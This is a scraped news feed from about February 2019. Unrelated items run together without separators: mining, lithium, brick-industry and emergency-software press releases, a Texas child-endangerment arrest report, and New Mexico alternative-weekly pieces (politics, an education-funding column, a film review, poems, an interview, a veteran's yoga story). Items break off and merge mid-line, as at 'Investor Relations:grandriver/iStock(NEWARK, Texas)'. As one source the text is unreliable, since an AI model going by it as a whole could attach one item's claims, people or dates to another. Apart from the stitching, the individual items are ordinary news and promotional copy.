Exploration Budget Cost Concept USD Preparation & Mapping/Rock Sampling $ 175,000.00 Soil Sampling $ 156,000.00 Design & Permitting $ 47,000.00 Geophysics $ 150,000.00 Trenching $ 70,000.00 Target Drill Testing $ 585,000.00 Contingency $ 17,000.00 Total $ 1,200,000.00

Now that the Company has expanded into Canada, we have solidified for several years, as we have been mentioning to our shareholders and investors that we plan to list in the TSX-V Exchange. Our Company will continue to acquire claims within the area and extend its current position.



The Company will make further announcements on its other project as progress is made.

TAMINO MINERALS, INC.

TAMINO MINERALS INC. is exploring for high-grade gold deposits within a prolific gold producing geologic state, Sonora, and has begin exploration of a couple in the Kenora Mining District in the Province of Ontario.

On behalf of the Board,

Pedro Villagran-Garcia, President & CEO

Tamino Minerals, Inc.

For further information, please contact the Company at 1-971-285-4570 or by email at info@taminominerals.ca

Forward Looking Statements

Certain information contained in this press release, including any information as to our strategy, plans or future financial or operating performance and other statements that express management's expectations or estimates of future performance, constitute "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. All statements, other than statements of historical fact, are forward-looking statements. The words "believe," "expect," "will," "anticipate," "contemplate," "target," "plan," "continue," "budget," "may," "intend," "estimate," "project" and similar expressions identify forward-looking statements. Forward-looking statements are subject to risks and uncertainties that could cause actual results to differ materially from those expressed in the forward-looking statements. Our actual results may differ materially from the results anticipated in these forward-looking statements due to a variety of factors, including, without limitation, those set forth as "Risk Factors" in our filings with the SEC which can be found at www.sec.gov. The Company disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by applicable law.Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "The Manufacture of Clay and Concrete Bricks in South Africa 2019" report has been added to ResearchAndMarkets.com's offering.



The Manufacture of Clay And Concrete Bricks: This report focuses on the manufacture of clay bricks and concrete masonry units, which are important components of the building and construction industry. Despite the decline of the construction industry since 2010, major brickmakers continue to report good results due to increasing demand for residential property. While industry output has remained relatively constant since 2014 at approximately 3.6 billion standard brick equivalents, the industry continues to contract and concentrate.



Opportunities for Growth: While there has been a decline in investment in large construction projects, brickmakers and concrete masonry unit producers have benefitted from the growth in smaller construction projects, affordable housing, retail and townhouse developments, and some mega projects. Government's 2018 Budget allocated R800bn over three years on housing, roads, public transport, water and electricity infrastructure spend. Government also wants to encourage private sector investment in the independent power producer programme.



Report Coverage: The Manufacture of Clay and Concrete Bricks report describes the state of the industry and conditions and factors influencing its success. It includes comprehensive profiles of 28 companies including Corobrik, the country's largest brick manufacturer, which produces a billion bricks annually and has announced significant investment in expansion.



There are also profiles on companies such as Ocon Brick, which was sold by the Infrastructure Specialist Group in September, Langkloof Bricks, which uses waste tyres to dry clay bricks and Algoa, which adds condemned juice waste to clay in the mixing and extrusion process, providing an equivalent litre savings in municipal water.

Key Topics Covered:



1. Introduction



2. Description Of The Industry

2.1. Industry Value Chain

2.2. Geographic Position



3. Size Of The Industry



4. State Of The Industry

4.1. Local

4.1.1. Corporate Actions

4.1.2. Regulations

4.1.3. Enterprise Development and Social Economic Development

4.2. Continental

4.3. International



5. Influencing Factors

5.1. Increasing Urbanisation and the Need for Housing

5.2. Government Intervention

5.3. Rising Operating Costs

5.4. Labour

5.5. Cyclicality

5.6. Economic Environment

5.7. Technology, Research and Development (R&D) and Innovation

5.8. Environmental Concerns



6. Competition

6.1. Barriers To Entry



7. SWOT Analysis



8. Outlook



9. Industry Associations



10. References

10.1. Publications

10.2. Websites



Appendix 1 - Summary Of Major Players

Company Profiles



A B Brickworks (Pty) Ltd

Afrimat Ltd

Aveng Africa (Pty) Ltd

Brakkefontein Clay Products (Pty) Ltd

Cape Concrete Works (Pty) Ltd

Corobrik (Pty) Ltd

Deranco Blocks (Pty) Ltd

Echo Floors (Pty) Ltd

Echo Prestress (Durban) (Pty) Ltd

Echo Prestress (Pty) Ltd

Elematic Sa (Pty) Ltd

Good Hope Brick (Pty) Ltd

Grahamstown Brick (Pty) Ltd

Inca Concrete Products (Pty) Ltd

Infrastructure Specialist Group (Pty) Ltd

J J Bricks (Pty) Ltd

Jt And T Agencies And Maintenance Cc

L K Brick And Block Manufacturers (Pty) Ltd

Langkloof Steenwerwe (Pty) Ltd

Ngqura Brick (Pty) Ltd

Ocon Brick (Pty) Ltd

Portland Hollowcore Slabs (Pty) Ltd

Rheebok Brick Operations (Pty) Ltd

S A Block (Pty) Ltd

Topfloor Concrete Ltd

West End Cement Bricks (Pty) Ltd

West End Claybrick (Pty) Ltd

Worcester Bakstene (Pty) Ltd

For more information about this report visit https://www.researchandmarkets.com/research/2qxt3n/south_africa_clay?w=12

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.BOCA RATON, Fla., Feb. 13, 2019 (GLOBE NEWSWIRE) -- ReadyOp Communications, Inc., a wholly-owned subsidiary of Cleartronic, Inc. (CLRI: OTCPINK) announces the use of ReadyOp by the State of Georgia Department of Public Health. The Department now uses ReadyOp for planning, communications and incident response statewide, and to coordinate with local health departments, hospitals, and others. They also use ReadyOp for daily operations, training, and communication and coordination with other health departments and State agencies.



We began working with the Department last summer and the relationship continues to grow. They introduced seceral new and innovative ways of using ReadyOp for information management and distribution, inspections and reporting to match the way they want to operate, said Marc Moore, CEO of ReadyOp Communications. We also continue to work with the state public health departments in other states; as we extend ReadyOps use across multi-state regions.

ReadyOp provides a single, secure location for organizations to consolidate incident and emergency plans, rosters, tasks, roles, groups and more. Each agency through its secure website, plans personnel and roles, emergency operations, callout teams and other groups that may be needed. ReadyOp enables users to communicate and interact quickly and efficiently with each other using voice, text, emails and two-way radios regardless of their location.

ReadyOp is used by many local, state and federal agencies, hospitals, schools and universities and corporations for daily operations, incident and emergency response planning, regional fusion and coordination, continuity of operations (COOP) planning, and for event planning and operations, ReadyOp is the only program that provides planning, operations, and communications, including two-way radio communications, in a single platform.

ReadyOps radio interoperability provides clients with true two-way communications within and between radio talk groups regardless of location, radio type, and frequency. Regardless of their location and through an encrypted internet connection, authorized users can extend radio communications to radios, laptops, and smartphones worldwide.

About Cleartronic, Inc.

Cleartronic, Inc., a diversified holding Company, creates and acquires operating subsidiaries with the goal of manufacturing and selling products, services, and integrated systems to government agencies, business enterprises, and the general public. In addition to its ongoing research and development projects, Cleartronic currently has two operating subsidiaries, ReadyOp Communications, Inc. and VoiceInterop, Inc.- www.cleartronic.com , www.voiceinterop.com and www.readyop.com.

Safe Harbor Statement

This news release contains statements that involve expectations, plans or intentions (such as those relating to future business or financial results) and other factors discussed from time to time in the Company's Securities and Exchange Commission filings. These statements are forward-looking and are subject to risks and uncertainties so that actual results may vary materially. You can identify these forward-looking statements by words such as "may," "should," "expect," "anticipate," "believe," "estimate," "intend," "plan" and other similar expressions. Our actual results could differ materially from those anticipated in these forward-looking statements because of certain factors not within the control of the company. The Company cautions readers not to place undue reliance on any such forward-looking statements, which speak only as of the date made. The Company disclaims any obligation subsequently to revise any forward-looking statements to reflect events or circumstances after the date of such statements or to reflect the occurrence of anticipated or unanticipated events.

Contact and Inquiries for Investor Relations:grandriver/iStock(NEWARK, Texas) -- A mother and father were arrested in north Texas on Tuesday after four young children were found living in squalor in a barn without food or water, authorities said.



Deputies from the Wise County Sheriff's Office were dispatched to a rural property near Newark, Texas, after receiving a domestic disturbance call on Tuesday morning around 7:20 a.m. local time. The deputies met with two adults on the premises, Andrew Fabila and Paige Harkings, both 24, and noticed "numerous lacerations" on Fabila's face, according to a press release from the sheriff's office.



While talking with the two adults, deputies heard children inside the barn house. They went inside to find a 5-year-old, a 4-year-old, a 3-year-old and a 1-year-old. The two youngest children were mostly unclothed and lying on a blanket in the barn, while the two eldest were locked inside a dog kennel, according to the sheriff's office.



There was food in the barn but it was locked away and inaccessible to the children. Deputies gave food and water to the children, who were examined on scene by medics and then transported to Cook Childrens Medical Center in Fort Worth for further examination, according to the sheriff's office.



Harkings, who is the biological mother of all four children, was arrested on four counts of child endangerment and one count of aggravated assault. Fabila, who is the biological father of only one of the children, was taken to Wise Regional Health System in Decatur where he was treated and released, then subsequently booked into the Wise County Jail on four counts of child endangerment, according to the sheriff's office.



Bond had not yet been set for Fabila nor Harkings.

Copyright  2019, ABC Radio. All rights reserved.English French

QUEBEC CITY, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Nemaska Lithium Inc. (the Corporation) (TSX: NMX) (OTCQX: NMKEF) (Frankfurt: N0T) will host a conference call today at 10:30 am EST. The Companys President and CEO, Mr. Guy Bourassa, will host the call discussing this mornings announcement on the project construction update and cost to complete reassessment. The call can be accessed at the following:



Webcast Link: https://edge.media-server.com/m6/p/3zejk4x7

Dial in numbers for participants:

US/CANADA Participant Toll-Free Dial-In Number: (866) 353-6129

US/CANADA Participant International Dial-In Number: +1 (409) 217-8084

Conference ID: 2346268

About Nemaska Lithium

Nemaska Lithium Inc. is a developing chemical company whose activities will be vertically integrated, from spodumene mining to the commercialization of high-purity lithium hydroxide and lithium carbonate. These lithium salts are mainly destined for the fast-growing lithium-ion battery market, which is driven by the increasing demand for electric vehicles and energy storage worldwide. With its products and processes, the Corporation intends to facilitate access to green energy, for the benefit of humanity.

The Corporation will be operating the Whabouchi mine in Quebec, Canada, one of the richest lithium spodumene deposits in the world, both in volume and grade. The spodumene concentrate produced at the Whabouchi mine will be processed at the Shawinigan plant using a unique membrane electrolysis process for which the Corporation holds several patents.

The Corporation is a member of the S&P/TSX SmallCap Index, S&P/TSX Global Mining Index, S&P/TSX Global Base Metals Index, S&P/TSX Equal Weight Global Base Metals Index, and the MSCI Canada Small Cap Index. For more information, visit www.nemaskalithium.com or twitter.com/Nemaska Lithium .

Cautionary Statement on Forward-Looking Information

All statements, other than statements of historical fact, contained in this press release including, but not limited to, those relating to obtaining the additional capital required to enable the Corporation to complete construction, the estimated additional costs for completing the construction of the Whabouchi mine and the Shawinigan plant, the ability to meet funding conditions under the streaming agreement and the senior secured bonds, the expected unfolding of construction and commissioning as well as the anticipated start of production at the Whabouchi mine and Shawinigan plant sites, constitute forward-looking information and forward-looking statements within the meaning of certain securities laws and are based on expectations and projections as of the date of this press release. Certain important assumptions by the Corporation in making forward-looking statements include, but are not limited to, the obtaining of the additional capital required to fulfill the conditions precedent to receive the remaining proceeds from the project financing being the second tranche payment under the Streaming facility and the Bonds offering proceeds.

Forward-looking statements contained in this press release include, without limitation, those related to (i) the ability of the Corporation to secure additional funds, including the ability of the Corporation to implement funding solutions to meet the revised budget and deliver the project according to the schedule, (ii) the revised costs which are based on current estimates and may be subject to variations, (iii) construction advancing on schedule at both the Whabouchi mine and the Shawinigan plant, (iv) the ability of the Corporation to meet funding conditions under the streaming agreement and the senior secured bonds, (v) the outcome of the evaluation of several options that would enable existing and new shareholders and project partners to provide funding, (vi) the ability of the Corporation to complete the mine construction in October 2019 and make the first shipment of spodumene concentrate in December 2019 followed by the start of the Shawinigan facility the year after (vii) the interest from users for samples from the Phase 1 Plant, and (viii) generally, the above About Nemaska Lithium paragraph which essentially describes the Corporations outlook. Forward-looking statements are based on expectations, estimates and projections as of the time of this press release. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable by the Corporation as of the time of such statements, are inherently subject to significant business, economic and competitive uncertainties and contingencies. These estimates and assumptions may prove to be incorrect.

Many of these uncertainties and contingencies can directly or indirectly affect, and could cause, actual results to differ materially from those expressed or implied in any forward-looking statements. There can be no assurance that the Whabouchi mine and/or the electrochemical plant in Shawinigan will be commissioned and will begin production, as future events could differ materially what is currently anticipated by the Corporation.

By their very nature, forward-looking statements involve inherent risks and uncertainties, both general and specific, and risks exist that estimates, forecasts, projections and other forward-looking statements will not be achieved or that assumptions do not reflect future experience. Forward-looking statements are provided for the purpose of providing information about managements expectations and plans relating to the future. Readers are cautioned not to place undue reliance on these forward-looking statements as a number of important risk factors and future events could cause the actual outcomes to differ materially from the beliefs, plans, objectives, expectations, anticipations, estimates, assumptions and intentions expressed in such forward-looking statements. All of the forward-looking statements made in this press release are qualified by these cautionary statements and those made in our other filings with the securities regulators of Canada including, but not limited to, the cautionary statements made in the Risk Factors section of the Corporations Annual Information Form dated October 10, 2018, and the Risk Exposure and Management section of the Corporations quarterly Management Discussion & Analysis. The Corporation cautions that the foregoing list of factors that may affect future results is not exhaustive, and new, unforeseeable risks may arise from time to time. The Corporation disclaims any intention or obligation to update or revise any forward-looking statements or to explain any material difference between subsequent actual events and such forward-looking statements, except to the extent required by applicable law.

Further information regarding Nemaska Lithium is available in the SEDAR database (www.sedar.com) and on the Corporations website at: www.nemaskalithium.com .

FOR FURTHER INFORMATION, PLEASE CONTACT:PRINT | EMAIL | PERMALINK Newscity Governor Pulls Troops From Border Last week Gov. Michelle Lujan Grisham ordered National Guard troops deployed at New Mexico's southern border to withdraw. CNN reports Lujan Grisham ordered the withdrawal to combat President Donald Trump's attempts to militarize the nation's border with Mexico. During a press conference, she told reporters, I'm not going to participate, nor do I think it's appropriate in any shape or fashion to use the National Guard to attempt to militarize the border where we're dealing with asylum seekers who their constitutional rights continue to be breached. Lujan Grisham said she'd met with the National Guard and Border Patrol to discuss the reserve military's presence, and they'd failed to convince her that the National Guard had played any significant role in curtailing criminal activity at the border. The order was reportedly given just before the president's State of the Union address. A total of 118 National Guard soldiers were deployed in New Mexico, according to the governor's office. Of those, only 11 to 15 soldiers will remain at the border reportedly to help with humanitarian needs. National Guard troops from six other states were ordered to return to their home states.

Chaco Oil and Gas Lease Sale Deferred Federal officials announced they will not be moving forward with the sale of oil and gas leases for land parcels near Chaco Culture National Historical Park until further analysis can be conducted. According to the Associated Press, land managers with the US Bureau of Land Management chose to delay the decision after being criticized for pushing forward with the controversial plan without notifying the public. US Sen. Tom Udall of New Mexico told reporters that BLM scheduled the lease sale during the 35-day shutdown in what he called an opaque process. Chacoa significant historical and cultural site that's centuries oldis located in a remote area, and opponents of the sale say leasing the land near the site to oil and gas companies could have a negative impact. The decision to delay the sale until its repercussions are fully analyzed was a reversal from a notice given by the agency in January that it would proceed with drilling permit reviews and energy lease preparations with the sale scheduled for March 28. This is reportedly the third time the BLM has deferred on selling the land parcels under the Trump administration.Eric Williams Photography

You dont have to tune into the teevee news or pick up the right-of-center daily to get hip to major themes at this years Legislature. Its possible to discover the overarching plots of this years 60-day engagement without even relying on social media.

Listen to folks dishing at the local coffee shop, hear the conversations taking place at ones favorite grocer, the Rail Runner cabin youre sitting in. Chances are you are hearing about two things: education reform and, specifically, public education financing.

After last weeks stunning defeat of an APS election whose victory would have seen an untimely increase in property taxes traded for improvements to the aging school districts infrastructure, the issue of public education in New Mexico can be distilled down to a quest for the money necessary to implement reforms without raising taxesat least thats the way voters see it.

The intensity of the debate about how to pay for the revitalization so necessary to our states public education system is matched in fervor by the discourse about what shape reform should take in order to lift our state from the educational abyss to which it was consigned by La Tejana and her operatives.

As if relevantly linked to the minds of their constituentsfor the first time in eight years some would arguelegislative committees met this weekend to discuss the public schools and money, seeking input and looking for a way forward for issues that have dogged New Mexicans for several election cycles.

A Public Election

At the beginning of the month, Albuquerque voters were asked to approve raising about $900 million over the next six yearsthrough a bond measure and two tax leviesto pay for basic public facility maintenance, replacement of 60-year-old school buildings, providing basic classroom equipment such as furniture, technology and yes, musical instruments ... Thats according to Kitzio Wijenje, who is the Executive Director of Albuquerque Public Schools Master Plan.

The problem is that the brain trust at APS hadnt sent feelers out into the community to test for amenability. This lack of probing resulted in a landmark failure. The combination of funding questions, if answered affirmatively, would have resulted in property tax increases in the range of five percent.

In a stuttering New Mexico economy where local homeowners and small businesses are still treading water, where fixed incomes are de rigueur for older property owners, in a time when the former ruling party used the no new taxes slogan to garner politicalif not fiscalsupport, its no wonder the measures failed.

Here, entrenched fiscal conservative didactics and progressive think tank rhetoric like that at the Rio Grande Foundationwho lambasted the proposal, writing that it would have detrimental effectscame together with a message that was much more convincing than any of the APS bean-counters could muster. The only issue that remains, of course, is who is going to pay for maintenance improvement and, indeed, a complete re-envisioning of our states public education system?

In Rides the Legislature

While the question of providing funding for capital outlay projects in the public education arena remains to be solved within the walls of the APS boardroom or at the merry Roundhouse, the debate over providing funding for improved curricula has reached fever pitch.

On Saturday the state House Commerce and Economic Development committee voted yes on House Joint Resolution 1, ensuring the legislation would be heard on the floor of that same chamberbut not without some pointed dissent.

The resolution, HJR 1, as readers may recall, calls for allocating funds from the states Land Grant Permanent Funda reservoir of capital that comes from revenue derived from oil and gas leases and royalties as well as subsequent investmentsto pay for a major upgrade to New Mexicos public educational process. That necessary upgrade is called pre-kindergarten initiatives. If approved the resolution would result in a statewide ballot to amend our states constitution to allow for such programatic funding.

In case you wanna know, social scientists and seasoned educators agree that one way up and out of the miasma our culture finds itself swamped by is to start educating citizens at a very young age, to guarantee that by the time they reach elementary school, they have developed reading, writing and critical thinking skills that will increase their chances for success in todays world.

The fund is currently valued at over $17.5 billion and already pays for many public education programs as well as funding projects at state community colleges and universities. Projections for fiscal year 2019 show that nearly $750 million is already earmarked for sustaining and improving education in the state. HJR 1 asks that an additional amount of about $150 million per year be set aside annually for our states youngest learners.

Those who have come out against the measure, unsurprisingly, are mostly from the New Mexican Coalition of Educational Leaders, a group that represents school board superintendents and public school administrators throughout the state. They believe adding pre-K initiatives to the appropriations formula would destabilize the fund, threatening sustainable school funding down the line.

Reckoning the nay-sayers in this case are of the same culture that spawned the awesomely great idea to get capital outlay funding from what amounts to a middle-class tax increase in Burque, it is reasonable to support the initiative with the belief that better, earlier educational opportunities will result in a plethora of benefits to our state from fewer dropouts to less dependence on welfare and economic growth too.

The next hurdle for this spending bill will likely be in the N.M. Senate, where members of that chambers finance committee have already called for the measures defeat. Lets hope that this year, Republicans and Democrats on that key committee are listening to their constituents and not the pie-in-the-sky ideological discourse of school boards and school superintendents that have already proven themselves out of touch with the communities they serve.

After all, someone's gotta pay.Fantasy is often used to address real-world concerns. And animation has long been employed by the film industry to candy-coat difficult life lessons for younger viewers. Rarely have those techniques been pushed to the limit as much as in the Brazilian-born animated feature Tito and the Birds. The film unabashedly rips its inspiration from todays headlines, producing a dark, deeply expressionistic fairy tale for modern audiences. What seems, on the surface, like an imaginative sci-fi fantasy aimed at kids is actually a moody fable speaking just as loudly to adults about todays contentious political landscape.

Fear is contagious, speculates 10-year-old protagonist Tito Rufus (voiced by Pedro Henrique) at the start of the film. Its a grim philosophy handed down by his father. The senior Mr. Rufus was a crackpot scientist who believed he could talk to birds and spent years laboring over a machine to accomplish that far-fetched goal. Dad didnt simply want to chat with them about worms, either. He believed that, since the dawn of man, birds have served as harbingers of doomwarning mankind about earthquakes, fires and wars. He was convinced that if he could communicate with our feathered friends, he could save humanity.

But an accident in dads laboratory led to an explosion. Fearing for her sons safety, Titos mom Rosa (Denise Fraga) kicked dad out and began watching over Tito like an overprotective mother hen. Several years down the line, shy but brainy school kid Tito is missing his beloved father and following closely in his scientific footsteps. With the help of his outcast friends Buiu and Sarah, Tito has recreated his fathers bird-communicating machine. But yet another accident at the school science fair gets Tito kicked out of schoolmuch to the delight of his academic rival, rich-kid inventor Teo.

Adding to an already outlandish narrative is the fact that Teos dad, Alaor Souza, is a right-wing television personality, stoking fears on his bombastic nightly news program. Hes also offering (for a tidy price) the perfect solution to all of todays worriesthe ultimate gated community, a luxury neighborhood hermetically sealed off from the rest of the world under a glass dome. Souzas timing couldnt be better, for the world is under the grip of a bizarre plague known simply as The Outbreak. The Outbreak is a fear-based disease that causes people to devolve into immobile, limbless lumps of rock.

Naturally, Tito believes his fathers invention is the key to saving mankind. But can he and his friends convince people in time?

The plot of Tito and the Birdsa 10-year-old inventor tries to convince pigeons to save the human race from a contagious fear virusis a hard pill to swallow. And the films central messageabout the media stoking fear and paranoia for its own cynical gainisnt what youd call subtle. Still, this unfettered flight of fancy emerges as a dystopic delight thanks to its imaginative animation.

Much of the filmparticularly the backgroundsare rendered in the thick, shadowy impasto of traditional oil paints. The Oscar-nominated 2017 film Loving Vincent employed a similar, art-heavy, multimedia style. Vivid colors, distorted perspectives, sharp angles and a swirling, sweeping camera perspective give Tito and the Birds the heightened emotional effect of an Expressionist paintingsomething between Kandinsky, Ralph Steadman and South Park.

America, it turns out, isnt the only country to plunge into conservative paranoia these days. Brazil recently elected South Americas version of Donald Trump, far-right firebrand and self-styled political outsider Jair Bolsonaro. He got there by enflaming public fears about crime, corruption and the other (foreigners, homosexuals, liberals). This growing climate of paranoia is undoubtedly the inspiration behind this films political allegory. A lot of us, it seems, can sympathize.

The ultimate moral flying around Tito and the Birds is both simplistic and convoluted. Its a storybook with a few too many ideas and a few too many pages missing. Despite the fact that the filmmakers hammer their point home confidently and resoundingly, not everyone will be able to stitch together the films flashes of political demagoguery, postcolonial guilt and fascist fearmongering. Even if kids manage to pick up on the fear is the enemy of freedom slogan, they may not be the best audience for this surreal journey. Adults, on the other hand, will certainly appreciate the films visual briowhich reads like a childrens bedtime story run through a Museum of Modern Art nightmare machine.PLEASE NOTE!

Due to the March 23, 2020 NM DOH Public Health Order, These Event Listings Are Not Accurate!

All non-essential businesses are closed, public gatherings are prohibited!

(One day some of these events will be rescheduled or will resume, but they are not happening now!)WASHINGTON, D.C, Feb. 13, 2019 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- The Alliance for Regenerative Medicine (ARM), the international advocacy organization representing the cell and gene therapy and broader regenerative medicine sector, today released the agenda for its inaugural 2019 Cell & Gene Meeting on the Mediterranean. This years event will be held April 23-25 in Barcelona, Spain.

The event, modeled after ARMs highly successful Cell & Gene Meeting on the Mesa, is expected to attract more than 250 attendees, including senior executives from leading cell therapy, gene therapy, and tissue engineering companies worldwide, large pharma and biotech representatives, institutional investors, academic research institutions, patient foundations, disease philanthropies, and members of the life science media community.



Featured topics include:



Plenary Session:

Commercial Strategies from Pathfinders in the Industry

Keynote Address:

Guido Rasi, Director General, European Medicines Agency (EMA)

Panels:



The Pricing and Reimbursement Landscape: Opportunities and Challenges

Manufacturing and the CDMO Perspective

Recent Developments and Predictions for the Future of Advanced Therapies

European Clinical Trials in a Global Context

Regulating ATMPs in a Post-Brexit World

Throughout the two-day event, participants can also attend presentations by more than 50 publicly traded and emerging private companies, highlighting clinical and commercial progress in cell therapy, gene and gene-modified cell therapy, tissue engineering, biomaterials and more. In addition to their presentations, representatives from these organizations will also be available for one-on-one partnering opportunities throughout the conference.



The slate of 2019 presenting companies includes: Adaptimmune; Adverum Biotechnologies; AGTC; Andalusian Initiative for Advanced Therapies; Aspect Biosystems; Audentes Therapeutics; Avectas; Axovant Gene Therapies; Biostage; BioTime; bluebird bio; BlueRock Therapeutics; B-MoGen Biotechnologies; Bone Therapeutics; Caribou Biosciences; Cellerant Therapeutics; Chimeric Therapeutics; Cryoport; Cynata Therapeutics; DiscGenics; FUJIFILM Cellular Dynamics; Genethon; Healios; Invitrx Therapeutics; Iovance Biotherapeutics; Kiadis Pharma; LogicBio Therapeutics; Longeveron; Lonza Pharma & Biotech; MaxCyte; MeiraGTx; MolMed; NAVAN Technologies; Orchard Therapeutics; Organovo; Oxford BioMedica; PDC*line Pharma; PolarityTE; Precision BioSciences; Promethera Biosciences; REGENXBIO; ReNeuron; Rexgenero; Sangamo Therapeutics; Seraxis; Sigilon Therapeutics; Spark Therapeutics; Terumo BCT; TikoMed; Tmunity Therapeutics; uniQure; VERIGRAFT; Vivet Therapeutics; and Zelluna Immunotherapy.



For full details on the agenda and further information about the event, please visit www.meetingonthemed.com.



For members of the media interested in attending, please contact Lyndsey Scull at lscull@alliancerm.org.



About The Alliance for Regenerative Medicine



The Alliance for Regenerative Medicine (ARM) is an international multi-stakeholder advocacy organization that promotes legislative, regulatory and reimbursement initiatives necessary to facilitate access to life-giving advances in regenerative medicine worldwide. ARM also works to increase public understanding of the field and its potential to transform human healthcare, providing business development and investor outreach services to support the growth of its member companies and research organizations. Prior to the formation of ARM in 2009, there was no advocacy organization operating in Washington, D.C. to specifically represent the interests of the companies, research institutions, investors and patient groups that comprise the entire regenerative medicine community. Today, ARM has more than 300 members and is the leading global advocacy organization in this field. To learn more about ARM or to become a member, visit http://www.alliancerm.org.





We Are Neighbors is a new collection of poems and photos from poet Hakim Bellamy and civil designer/photographer Justin Thor Simenson, both of Albuquerque. Buy the book at Bookworks (4022 Rio Grande Blvd. NW) or see the exhibit at the Rainosek Gallery(UNM School of Architecture & Planning, 2401 Central Ave. NE) through March. The following is an excerpt:

Justin Thor Simenson and Hakim Bellamy

There's no La Llorona for the aquifer, only the river. They warned Johnny Junior about the arroyo, but not the underworld. So when the City (or Base) dug up his street in search of oil. He considered it an opportunity to see if China, Australia or Alice in Wonderland really did exist. And no one has seen him since. It was sad, but it served a purpose. See, Johnny Junior was a very good, albeit curious, 9 year-old boy. Well liked by his peers and all the other parents in the neighborhood. Perfect grades, even better manners. Obedience, sometimes misinterpreted as fear by the cooler kids he was desperate to be liked by. The makers of mischief as the antidote to boredom, who grew tired of parents always asking them why they can't be more like Johnny Junior. And the day Johnny Junior slipped down the rabbit hole, he made history. He finally achieved what he wanted, to be the kid parents warned their kids about. 5 years later, the City (or the base) has not made so much as a shovel's worth of effort to fill Johnny's hole. The community vigorously protested against it ... on the off chance Junior eventually finds his way back home.

Justin Thor Simenson and Hakim Bellamy

Just beyond the threshold of kitchen door, they are engaged in a philosophical debate about planter boxes. He says, "It's odd. In the desert, plants are like zombies. You can't even killem!" She says, "Historically, it was a euphemism for death. Like pushing up daisies. Like the mob would put you in a planter box." "I know," he says. "Human fertilizer." She interrupts, "But now, they are symbolic of life in the desert. Proof of the resilience, adaptability and sheer endurance of growth. In an environment where we are told it is impossible, to grow anything. Just like any nuclear apocalypse, after which a single flower eventually blooms. A middle finger to the end of the world, as weve known it.

(Photos and poems reprinted with permission from Justin Thor Simenson and Hakim Bellamy. Follow them on Insta: @iminphotos and @hakimbe)courtesy of the artist

Albuquerques Ashlynne Padilla majored in business marketing at the University of New Mexico, with an eye towards being a lawyer. But the universe had other plansplans that led to Padilla becoming one of the most sought-after makeup artists in the New Mexico film and television industry.

I was in a sorority at UNM, she explained. One year I volunteered to do everyones makeup for our formal. It all changed there.

Her Kappa Kappa Gamma sisters were so impressed by Padillas skills that when cosmetics giant M.A.C. opened an Albuquerque store, they all suggested Padilla apply. Padilla got the job, which included extensive makeup skills training and led her to meet the producers of the film Gamers, shooting in New Mexico at the time.

They came into the store, asking if one of us would be interested in being a makeup assistant on a movie. I was, like, Sure! Ill do it. Before I knew it, I was spray-tanning Gerard Butler. We bonded over the fact that we both had pugs. His pug was going to marry my pug. The rest is history.

Padilla gave up law school plans and moved to Los Angeles to study film and TV makeup formally, at the now-defunct Westmore Academy of Cosmetic Arts.

courtesy of the artist

Since then, Padilla has worked consistently, for the past 10 years, on films and television shows shot in New Mexico, and has also been hired for projects shot elsewhere, including Avengers. But her steady gigs have been as a staff makeup artist on the television shows The Night Shift and Better Call Saul.

We caught up with Padilla to ask her a few questions about her career, the local film and television business and, of course, celebrities.

Weekly Alibi: What are some of the biggest misperceptions people have about makeup artists?

Padilla: Theres a perception in the general public that makeup artists in the movie industry are glamorous people, that were hoity toity, that we go around looking like what Instagram makeup artists look like. The truth is so far from that! We rarely wear makeup ourselves. Were tired, were in the middle of nowhere. Were the first ones on set, and the last ones to leave; were out in the elements, freezing in the snow or roasting in the hot sun. If the movie shoot is 12 hours long, we are the ones who are there for 16 hours. We have to get the actors ready beforehand, and then we are there to make sure their makeup stays the same, constantly fixing things. And then we are there to clean them up after all is said and done. Remove the fake blood, all that, give them spa treatments so we dont damage their skin.

Whats it like working with famous actors all the time?

This is something else people dont realize about makeup artists. Its not only about being good at your craft. Its also about customer service, and actors are our customers. We spend hours and hours with these people, and while most actors are wonderful, theyre actors for a reason, psychologically. They require attention, so you have to give them that attention. I have a great appreciation for what they do. They have a really difficult job. I could never do it. So understanding why they may be stressed, if theyre in a crazy scene and that emotion carries over, being able to be mindful of the actor is very important to me. Paying attention. If an actor really likes to talk, I follow the lead. Others like to put on headphones and not talk, and its not that theyre not assholes, theyre just preparing. And I respect that. I dont take it personally. Just realizing that theyre all human helps; they have bad breath too, they go through breakups, theyre normal. Were so used to seeing them on the screen, and we have this idea that theyre these immortal gods. Theyre not. They are people.

Where do you think the local film industry is headed?

Ive always loved Michelle [Lujan Grisham] and Im sure with her in office its just going to keep growing. Its so beautiful here, you hear these Hollywood people say that over and over. They fall in love with the Land of Enchantment. One actress I worked with wants to move back here and just wait tables at the Flying Star. She loves it that much. We have all four seasons, and climates that can pass for just about anywhere. The only thing we dont have is the ocean, and you can always CGI that in now.

Whats next for you?

Im teaming up with another makeup artist in town, Noel Dalton, to create our own film and TV makeup school, the kind youd find in New York or LA. With the increase of projects coming to New Mexico, it just makes sense to start doing that kind of training here, for our own people. Hoping to open that soon.Lance Corporal Casey Casanova was 22 when a roadside bomb killed her in Iraq. Matt Hinojos blamed himself. Just 22, he felt he should have known about the bombthough of course he couldnt have.

Caseys death hit me hard, said Hinojos. I lost other friends, too. I felt responsible.

War left Hinojos with post-traumatic stress disorder. The military gave him Effexor, a prescription drug. It made him worseso much worse he hanged himself with a martial arts belt from the bathroom door in his barracks. Friends found him just in time. The military sent him to OASIS, a treatment facility at the Naval Medical Center in Port Loma, Calif.

Thats where I found yoga, said Hinojos. And yoga literally saved my life.

Now 30 and a yoga teacher in Albuquerque, Hinojos is on a mission to help others to overcome PTSD through yoga. This spring, he will launch his innovative 911 Yoga method at Elevation Yoga & Wellness Studio. Classes will be donation-only, and free for those who cannot afford them.

David Hall, 65, is one of Hinojos existing yoga students. Also a veteran, Hall says he has PTSD not from war but from growing up in a bad area. Ive seen people murdered as a child. I held my own brother in my arms after he was shot. There are neighborhoods in America where everyone has PTSD.

